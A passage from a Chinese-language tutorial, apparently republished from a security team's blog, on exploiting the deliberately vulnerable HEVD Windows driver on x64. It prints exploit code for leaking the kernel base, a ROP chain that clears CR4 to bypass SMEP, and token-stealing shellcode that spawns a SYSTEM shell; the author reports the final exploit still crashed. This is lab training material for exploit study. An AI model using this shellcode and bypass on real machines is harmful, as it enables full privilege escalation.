failed!" << endl;    }}INT64 get_kernel_base() {    cout << "[>] Getting kernel base address..." << endl;    //https://github.com/koczkatamas/CVE-2016-0051/blob/master/EoP/Shellcode/Shellcode.cpp    //also using the same import technique that @tekwizz123 showed us    PNtQuerySystemInformation NtQuerySystemInformation =        (PNtQuerySystemInformation)GetProcAddress(GetModuleHandleA("ntdll.dll"),            "NtQuerySystemInformation");    if (!NtQuerySystemInformation) {        cout << "[!] Failed to get the address of NtQuerySystemInformation." << endl;        cout << "[!] Last error " << GetLastError() << endl;        exit(1);    }    ULONG len = 0;    NtQuerySystemInformation(SystemModuleInformation,        NULL,        0,        &len);    PSYSTEM_MODULE_INFORMATION pModuleInfo = (PSYSTEM_MODULE_INFORMATION)        VirtualAlloc(NULL,            len,            MEM_RESERVE | MEM_COMMIT,            PAGE_EXECUTE_READWRITE);    NTSTATUS status = NtQuerySystemInformation(SystemModuleInformation,        pModuleInfo,        len,        &len);    if (status != (NTSTATUS)0x0) {        cout << "[!] NtQuerySystemInformation failed!" << endl;        exit(1);    }    PVOID kernelImageBase = pModuleInfo->Modules[0].ImageBaseAddress;    cout << "[>] ntoskrnl.exe base address: 0x" << hex << kernelImageBase << endl;    return (INT64)kernelImageBase;}void spawn_shell() {    cout << "[>] Spawning nt authority/system shell..." << endl;    PROCESS_INFORMATION pi;    ZeroMemory(&pi, sizeof(pi));    STARTUPINFOA si;    ZeroMemory(&si, sizeof(si));    CreateProcessA("C:\\Windows\\System32\\cmd.exe",        NULL,        NULL,        NULL,        0,        CREATE_NEW_CONSOLE,        NULL,        NULL,        &si,        &pi);}int main() {    HANDLE hFile = grab_handle();    INT64 kernel_base = get_kernel_base();    send_payload(hFile, kernel_base);    spawn_shell();}
*/

其获取内核基址采用NtQuerySystemInformation函数:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
typedef struct SYSTEM_MODULE {    ULONG                Reserved1;    ULONG                Reserved2;    ULONG                Reserved3;    PVOID                ImageBaseAddress;    ULONG                ImageSize;    ULONG                Flags;    WORD                 Id;    WORD                 Rank;    WORD                 LoadCount;    WORD                 NameOffset;    CHAR                 Name[256];}SYSTEM_MODULE, * PSYSTEM_MODULE;typedef struct SYSTEM_MODULE_INFORMATION {    ULONG                ModulesCount;    SYSTEM_MODULE        Modules[1];} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;typedef enum _SYSTEM_INFORMATION_CLASS {    SystemModuleInformation = 0xb} SYSTEM_INFORMATION_CLASS;typedef NTSTATUS(WINAPI* PNtQuerySystemInformation)(    __in SYSTEM_INFORMATION_CLASS SystemInformationClass,    __inout PVOID SystemInformation,    __in ULONG SystemInformationLength,    __out_opt PULONG ReturnLength    );.......INT64 get_kernel_base() {    cout << "[>] Getting kernel base address..." << endl;    //Get NtQuerySystemInformation Address    PNtQuerySystemInformation NtQuerySystemInformation =        (PNtQuerySystemInformation)GetProcAddress(GetModuleHandleA("ntdll.dll"),            "NtQuerySystemInformation");    if (!NtQuerySystemInformation) {        cout << "[!] Failed to get the address of NtQuerySystemInformation." << endl;        cout << "[!] Last error " << GetLastError() << endl;        exit(1);    }    ULONG len = 0;        //Get Buffer Length    NtQuerySystemInformation(SystemModuleInformation,        NULL,        0,        &len);    //Allocate Memory    PSYSTEM_MODULE_INFORMATION pModuleInfo = (PSYSTEM_MODULE_INFORMATION)        VirtualAlloc(NULL,            len,            MEM_RESERVE | MEM_COMMIT,            PAGE_EXECUTE_READWRITE);   //Get SYSTEM_MODULE_INFORMATION     NTSTATUS status = NtQuerySystemInformation(SystemModuleInformation,        pModuleInfo,        len,        &len);    if (status != (NTSTATUS)0x0) {        cout << "[!] NtQuerySystemInformation failed!" << endl;        exit(1);    }    PVOID kernelImageBase = pModuleInfo->Modules[0].ImageBaseAddress;    cout << "[>] ntoskrnl.exe base address: 0x" << hex << kernelImageBase << endl;    return (INT64)kernelImageBase;}

之后Bypass SMEP采用修改CR4寄存器,置其第21位为0。据笔者环境,CR4=00000000001506f8,应修改为00000000000506f8,Gadgets如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
pop     rcx;retn        //nt!HvlEndSystemInterrupt+2000000000000506f8        //CR4 Valuemov     cr4, rcx;retn    //nt!KeFlushCurrentTbImmediately+17

笔者环境中_EPROCESS结构与Exp作者略有不同,故修改Shellcode如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
"\x54\x50\x51\x52\x53\x55\x56\x57\x41\x50\x41\x51\x41\x52\x41\x53\x41\x54\x41\x55\x41\x56\x41\x57\x9C"      //PUSHAD        "\x65\x48\x8B\x14\x25\x88\x01\x00\x00"      // mov rdx, [gs:188h]       ; Get _ETHREAD pointer from KPCR        "\x4C\x8B\x82\xB8\x00\x00\x00"              // mov r8, [rdx + b8h]      ; _EPROCESS (kd> u PsGetCurrentProcess)        "\x4D\x8B\x88\xe8\x02\x00\x00"              // mov r9, [r8 + 2e8h]      ; ActiveProcessLinks list head        "\x49\x8B\x09"                              // mov rcx, [r9]            ; Follow link to first process in list        //find_system_proc:        "\x48\x8B\x51\xF8"                          // mov rdx, [rcx - 8]       ; Offset from ActiveProcessLinks to UniqueProcessId        "\x48\x83\xFA\x04"                          // cmp rdx, 4               ; Process with ID 4 is System process        "\x74\x05"                                  // jz found_system          ; Found SYSTEM token        "\x48\x8B\x09"                              // mov rcx, [rcx]           ; Follow _LIST_ENTRY Flink pointer        "\xEB\xF1"                                  // jmp find_system_proc     ; Loop        //found_system:        "\x48\x8B\x41\x70"                          // mov rax, [rcx + 70h]     ; Offset from ActiveProcessLinks to Token        "\x24\xF0"                                  // and al, 0f0h             ; Clear low 4 bits of _EX_FAST_REF structure        "\x49\x89\x80\x58\x03\x00\x00"              // mov [r8 + 358h], rax     ; Copy SYSTEM token to current process's token        "\x9D\x41\x5F\x41\x5E\x41\x5D\x41\x5C\x41\x5B\x41\x5A\x41\x59\x41\x58\x5F\x5E\x5D\x5B\x5A\x59\x58\x5C"      //POPAD        "\x48\x83\xC4\x10"                          // add rsp, 010h        "\x48\x31\xC0"                              // xor rax, rax             ; NTSTATUS Status = STATUS_SUCCESS        "\xc3";

其他部分与上节思路基本一致,不再赘述。笔者构造的Exploit可以于目标虚拟机中执行,修改CR4及替换Token完成后恢复原执行环境,崩溃如下:

图20

由于知识储备有限,笔者尝试良久,未果。总结整体思路为:Get Kernel Base Address—>ROP(Modify CR4 value)—>Shellcode(User Space)。

0x04 参阅链接

•[I/O request packets—Microsoft Docs]https://docs.microsoft.com/en-us/windows-hardware/drivers/gettingstarted/i-o-request-packets•[Device nodes and device stacks—Microsoft Docs]https://docs.microsoft.com/en-us/windows-hardware/drivers/gettingstarted/device-nodes-and-device-stacks•[HelloWorld driver—Github]https://gist.github.com/hasherezade/ee1a1914dfa2920c77e82fd52717a8fb•[Write a Hello World Windows Driver (KMDF)—Microsoft Docs]https://docs.microsoft.com/zh-cn/windows-hardware/drivers/gettingstarted/writing-a-very-small-kmdf--driver•[Kernel Exploitation -> Stack Overflow—FuzzySecurity]https://www.fuzzysecurity.com/tutorials/expDev/14.html•[Windows SMEP Bypass:U=S—Core Security]https://www.coresecurity.com/sites/default/files/2020-06/Windows%20SMEP%20bypass%20U%20equals%20S_0.pdf•[Bypassing Intel SMEP on Windows 8 x64 Using Return-oriented Programming—PT Security]http://blog.ptsecurity.com/2012/09/bypassing-intel-smep-on-windows-8-x64.html•[x64_StackOverflow_SMEP_Bypass—Github]https://github.com/h0mbre/Windows-Exploits/blob/master/Exploit-Code/HEVD/x64_StackOverflow_SMEP_Bypass.cpp

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-06-22,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Gcow安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
windows kernel之HEVD栈溢出
首先使用osrload安装HEVD驱动,win10系统需要禁用驱动签名检测,然后成功安装后使用windbg下面的命令可以看到驱动已成功安装
鸿鹄实验室
2021/12/01
8280
windows kernel之HEVD栈溢出
Windows Kernel Exploitation Notes(二)——HEVD Write-What-Where
•物理机OS:Windows 10 20H2 x64•物理机WinDbg:10.0.19041.685•虚拟机OS:Windows 7 SP1 x86(6.1.7601.17514)•VMware:VMware Workstation 15 Pro•Visual Studio 2019
Gcow安全团队
2021/07/22
5910
漏洞分析丨HEVD-0x1.StackOverflow[win7x86]
该环境提供了各种内核漏洞场景供学习,本次实验内容是BufferOverflowStack
极安御信安全研究院
2022/06/30
5800
漏洞分析丨HEVD-0x1.StackOverflow[win7x86]
windows10内核态提权方法汇总
近期由于某些项目的原因,突然激发了我对windows内核提权原理的兴趣。于是就想研究一下,在拿到一个内核态任意代码执行漏洞后,到底有多少种方法常用的方法还能在windows 10上成功提权,针对这些不同的提权方法到底有没有一个比较通用的拦截方案? 所以就有了如下这篇学习记录。
用户1879329
2023/02/27
1.5K0
windows10内核态提权方法汇总
漏洞分析丨HEVD-0x2.StackOverflowGS[win7x86]
本次实验内容是BufferOverflowStackGS(环境提供的栈溢出一共有两个,一个是普通的,一个是GS保护的)
极安御信安全研究院
2022/07/07
4140
漏洞分析丨HEVD-0x2.StackOverflowGS[win7x86]
6.3 Windows驱动开发:内核枚举IoTimer定时器
今天继续分享内核枚举系列知识,这次我们来学习如何通过代码的方式枚举内核IoTimer定时器,内核定时器其实就是在内核中实现的时钟,该定时器的枚举非常简单,因为在IoInitializeTimer初始化部分就可以找到IopTimerQueueHead地址,该变量内存储的就是定时器的链表头部。枚举IO定时器的案例并不多见,即便有也是无法使用过时的,此教程学到肯定就是赚到了。
王 瑞
2023/11/28
2930
6.3 Windows驱动开发:内核枚举IoTimer定时器
漏洞分析:HEVD-0x7.UninitializedHeapVariable[win7x86]
哪怕是类似原理的都用,在利用方式上也总能带来很多新鲜感,每次都有新的长见识,不断的感叹和震撼
极安御信安全研究院
2022/07/21
3790
漏洞分析:HEVD-0x7.UninitializedHeapVariable[win7x86]
驱动开发:内核枚举IoTimer定时器
今天继续分享内核枚举系列知识,这次我们来学习如何通过代码的方式枚举内核IoTimer定时器,内核定时器其实就是在内核中实现的时钟,该定时器的枚举非常简单,因为在IoInitializeTimer初始化部分就可以找到IopTimerQueueHead地址,该变量内存储的就是定时器的链表头部。枚举IO定时器的案例并不多见,即便有也是无法使用过时的,此教程学到肯定就是赚到了。
王 瑞
2022/11/18
5780
驱动开发:内核枚举IoTimer定时器
三、系统调用
1.在 Ring3 的代码调用了 sysenter 指令之后,CPU 会做出如下的操作:
zhang_derek
2022/09/21
1.1K0
三、系统调用
初探栈溢出
treme Vulnerable Drive,是一个项目,故意设计包含多种漏洞的驱动程序,旨在帮助安全爱好者来提升他们在内核层面的漏洞利用能力。
红队蓝军
2022/07/06
8590
初探栈溢出
漏洞分析丨HEVD-0x6.UninitializedStackVariable[win7x86]
上一篇探讨了空指针解引用漏洞的利用,这里来探讨另一种漏洞,未初始化栈变量漏洞,未初始化变量本身是没啥事的,但如果这个变量结构里存储了会拿出来执行的东西(回调函数啥的),那就是另一回事了
极安御信安全研究院
2022/07/21
4150
漏洞分析丨HEVD-0x6.UninitializedStackVariable[win7x86]
漏洞分析丨HEVD-0x9.UseAfterFree[win7x86]
这也是个很有趣的漏洞类型,对象释放后没有清除对象指针,以至于可能在相同的位置出现假的对象,而让程序认为对象没有被释放是可用的状态,从而执行了假的对象行为。
极安御信安全研究院
2022/07/29
2580
漏洞分析丨HEVD-0x9.UseAfterFree[win7x86]
创建漏洞利用:SolarWinds 漏洞 CVE-2021-35211
在这篇博客中,我想分享一些在现代 Windows 系统上为 Serv-U FTP v15.2.3.717 创建基于 ROP 的漏洞利用背后的一些思考过程。我不会在这里介绍漏洞的根本原因,因为 Microsoft 研究团队在他们的博客文章中做得很好。如果您对我们如何到达 NattySamson 的 PoC 以及我们随后的漏洞利用感兴趣,请先阅读该文章,然后再返回此处。
Khan安全团队
2022/01/18
2.3K0
驱动开发:内核无痕隐藏自身分析
在笔者前面有一篇文章《驱动开发:断链隐藏驱动程序自身》通过摘除驱动的链表实现了断链隐藏自身的目的,但此方法恢复时会触发PG会蓝屏,偶然间在网上找到了一个作者介绍的一种方法,觉得有必要详细分析一下他是如何实现的驱动隐藏的,总体来说作者的思路是最终寻找到MiProcessLoaderEntry的入口地址,该函数的作用是将驱动信息加入链表和移除链表,运用这个函数即可动态处理驱动的添加和移除问题。
王 瑞
2022/11/14
9090
驱动开发:内核无痕隐藏自身分析
漏洞分析丨HEVD-0x3.ArbitraryOverwrite[win7x86]
本次实验的是第三个样例,IRP分发函数通过跳转表进行跳转,两项之间的控制码相差4,所以本次实验使用的控制码是:0x22200b,漏洞触发代码:
极安御信安全研究院
2022/07/07
4650
漏洞分析丨HEVD-0x3.ArbitraryOverwrite[win7x86]
驱动开发:内核枚举DpcTimer定时器
在笔者上一篇文章《驱动开发:内核枚举IoTimer定时器》中我们通过IoInitializeTimer这个API函数为跳板,向下扫描特征码获取到了IopTimerQueueHead也就是IO定时器的队列头,本章学习的枚举DPC定时器依然使用特征码扫描,唯一不同的是在新版系统中DPC是被异或加密的,想要找到正确的地址,只是需要在找到DPC表头时进行解密操作即可。
王 瑞
2022/12/28
1.1K0
驱动开发:内核枚举DpcTimer定时器
Win32之隐藏DLL隐藏模块技术
这一讲涉及到windows底层技术.跟汇编内容. 我们才可以实现模块隐藏(也称为DLL隐藏)
IBinary
2019/05/25
3.8K0
mov fs:[0],esp的含义
lea eax,SEH1[ebp] ;自己的异常处理函数地址 push eax ;把该异常处理函数地址压栈 push fs:[0] ;fs:[0]指向的是TIB[Thread information Block]结构中的 ;EXCEPTION_REGISTRATION 结构 mov fs:[0],esp ;让fs:[0]指向一个新的EXCEPTION_REGISTRATION 结构(就像链表插入一个新节点) mov esi,0 ;这两行指令就是用来处罚这个异常处理函数被调用的代码 mov eax,[esi];make a error for SEH
战神伽罗
2019/07/24
2.7K0
windows下的反调试探究
我们知道一些游戏为了防止被分析会加入反调试的代码,那么我们的木马样本同样也需要用到反调试技术。攻和防其实是相对的,只有了解了调试的原理,才能更深入的进行对抗,本文就对一些常见的反调试手段进行总结并对深层原理进行探究。
红队蓝军
2022/05/17
6480
windows下的反调试探究
红队作业 | 实战免杀课程和实践
这是不免杀的,使用如下代码进行测试,使用pyinstaller生成可执行的exe文件。pyinstaller生成exe文件过程不会校验代码是否可执行,所以可以通过注释的方式一行行测试具体是什么代码报毒。
Ms08067安全实验室
2022/04/06
1.7K0
红队作业 | 实战免杀课程和实践
推荐阅读
相关推荐
windows kernel之HEVD栈溢出
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档